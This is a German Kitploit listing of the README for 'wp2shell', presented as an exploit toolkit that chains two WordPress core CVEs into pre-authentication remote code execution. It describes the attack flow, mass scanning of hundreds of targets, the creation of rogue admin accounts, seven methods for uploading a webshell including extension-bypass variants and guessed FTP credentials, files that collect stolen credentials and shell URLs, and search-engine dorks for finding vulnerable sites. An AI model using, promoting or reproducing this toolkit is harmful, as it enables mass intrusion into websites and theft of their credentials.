Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-63030 — WordPress Core Pre-Auth RCE — Batch-Routen-Konfusion + SQL-Injection | Kitploit
Tools/GitHubGitHub/anggatechi/cve-2026-63030
AufklärungSchwachstellenscannerExploitationWebanwendungs-ExploitationPost-ExploitationPenetrationstests
GitHubanggatechi/cve-2026-63030

CVE-2026-63030

WordPress Core Pre-Auth RCE — Batch-Routen-Konfusion + SQL-Injection

Repository anzeigen
1112vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

wp2shell — WordPress Core Pre-Auth RCE

CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 (SQL Injection)

Exploitation-Toolkit ohne Abhängigkeiten für die wp2shell-Schwachstellenkette im WordPress Core. Eine einzige anonyme HTTP-Anfrage führt auf einer Standard-WordPress-Installation zur Remote-Codeausführung, ohne dass Plugins erforderlich sind.


📋 Inhaltsverzeichnis

  • Betroffene Versionen
  • Exploit-Ablauf
  • Schnellstart
  • Demo
  • Funktionen
  • Upload-Methoden
  • Ausgabedateien
  • Dork / Hunting
  • Referenzen
  • Haftungsausschluss

🎯 Betroffene Versionen

BereichAuswirkungBehoben in
7.0.0 – 7.0.1Vollständige RCE7.0.2
6.9.0 – 6.9.4Vollständige RCE6.9.5
6.8.0 – 6.8.5Nur SQLi6.8.6

Keine Plugins oder spezielle Konfiguration erforderlich. Eine reine WordPress-Installation ist ausnutzbar.


🔗 Exploit-Ablauf

┌─────────────────────────────────────┐
│  ANONYMOUS HTTP REQUEST             │
│  POST /?rest_route=/batch/v1        │
└────────────────┬────────────────────┘
                 │
┌────────────────▼────────────────────┐
│  CVE-2026-63030: Batch Desync       │
│  Malformed path → WP_Error →        │
│  Array misalignment → Auth Bypass   │
└────────────────┬────────────────────┘
                 │
┌────────────────▼────────────────────┐
│  CVE-2026-60137: SQL Injection      │
│  author__not_in → unsanitized →     │
│  UNION SELECT extraction            │
└────────────────┬────────────────────┘
                 │
     ┌───────────┼───────────┐
     │           │           │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed  │ │ Blind  │ │ Changeset    │
│ Seeding │ │ SQLi   │ │ Re-entrancy  │
│ Write   │ │ Read   │ │ Escalation   │
│ Cache   │ │ IDs    │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
     │           │           │
     └───────────┼───────────┘
                 │
┌────────────────▼────────────────────┐
│  ADMIN CREATED (pre-auth!)          │
│  → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘

🚀 Schnellstart

pip install requests
python exploit.py
╔══════════════════════════════════════════════════════════════╗
║  WP2SHELL — WordPress Core Pre-Auth RCE Exploit              ║
║  CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137    ║
║  Affected: WP 6.9.0 – 7.0.1  |  Fixed: 6.9.5 / 7.0.2       ║
╚══════════════════════════════════════════════════════════════╝

  [?] Target [url/list.txt] > list.txt
  [?] Threads [15] > 15

Einzelnes Ziel

python exploit.py
  [?] Target [url/list.txt] > https://vulnerable-site.com

  ┌────────────────────────────────────────────────────────┐
  │                    SCAN CONFIGURATION                   │
  ├────────────────────────────────────────────────────────┤
  │  Targets : 1       Threads  : 1      Dir  : wp_core_rce│
  └────────────────────────────────────────────────────────┘

  ┌────────────────────────────────────────────────────────┐
  │  EXPLOIT SUCCESS                                       │
  ├────────────────────────────────────────────────────────┤
  │  Method : direct-plugin                                │
  │  Shell  : https://target.com/wp-content/plugins/...  │
  │  Login  : https://target.com/wp-login.php              │
  │  User   : wp2s_abc123def                               │
  │  Pass   : WP2S!xxxxxxxxxxxxxxxx                        │
  └────────────────────────────────────────────────────────┘

Massen-Scan

python exploit.py
┌────────────────────────────────────────────────────────┐
│                    SCAN CONFIGURATION                   │
├────────────────────────────────────────────────────────┤
│  Targets : 500    Threads  : 15     Dir  : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│            │                                        │              │
│  #/TOTAL   │ HOST                                   │ STATUS       │
├────────────┼────────────────────────────────────────┼──────────────┤
│    1/500   │ vulnerable-site.com                    │ SHELL        │
│            │   ↳ direct-plugin → https://vulnerabl...             │
│    2/500   │ target2.com                            │ ADM          │
│    3/500   │ safe-site.org                          │ SQLi         │
│    4/500   │ nope.com                               │ NO           │
│    5/500   │ jackpot.net                            │ SHELL        │
│            │   ↳ theme-editor → https://jackpot.ne...              │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│  SHELL     2   ADMIN    3   SQLi   15   TOTAL    50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│  result.txt         │  admin credentials               │
│  result_upload.txt  │  shell upload URLs               │
│  log/scanned.txt    │  scanned hosts                   │
└────────────────────────────────────────────────────────┘

✨ Funktionen

  • Keine Abhängigkeiten — Nur Python-3.11+-Standardbibliothek (requests nur für den Expander)
  • Multithreading — 15 Threads standardmäßig, bis zu 30
  • Automatische Fortsetzung — log/scanned.txt überspringt bereits gescannte Ziele
  • Stiller Batch-Modus — Saubere Tabellenausgabe, kein Log-Spam
  • Automatische Erkennung — Prüfung auf WordPress-, Batch-API- und SQLi-Verfügbarkeit
  • 7 parallele Upload-Methoden — Race-Condition, bei der die erste erfolgreiche Methode gewinnt

📤 Upload-Methoden

Alle 7 Methoden werden parallel über ThreadPoolExecutor ausgeführt. Die erste erfolgreiche Methode gewinnt, der Rest wird abgebrochen.

#MethodeBeschreibung
1direct-pluginZip per /wp-admin/plugin-install.php hochladen
2direct-themeZip per /wp-admin/theme-install.php hochladen
3rest-apiZip per POST an /wp-json/wp/v2/plugins mit Auth-Cookie senden
4plugin-editorPHP direkt über /wp-admin/plugin-editor.php schreiben
5theme-editorPHP in das aktive Theme-Verzeichnis schreiben
6ftp-bypassFTP-Zugangsdaten übermitteln, wenn WordPress danach fragt
7media-uploadPHP über die Mediathek mit 15 Dateiendungsvarianten hochladen

Dateiendungen für den Medien-Upload: .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP

Versuchte FTP-Zugangsdaten: localhost / 127.0.0.1 mit root / www-data / WordPress-Admin-Zugangsdaten


📁 Ausgabedateien

DateiInhalt
result.txtAdmin-Zugangsdaten: url.com/wp-login.php:user:pass
result_upload.txtShell-URLs: shell_url | login_url:user:pass | method
log/scanned.txtAlle gescannten Hosts (automatisches Überspringen bei erneutem Lauf)

🔍 Dork / Hunting

Shodan

http.title:"WordPress"
http.component:"WordPress"

Fofa

app="WordPress"
body="wp-json"
body="/batch/v1"

ZoomEye

app:"WordPress"
"/wp-json/batch/v1"

Censys

services.http.response.body:"/wp-json/batch/v1"
Tool herunterladen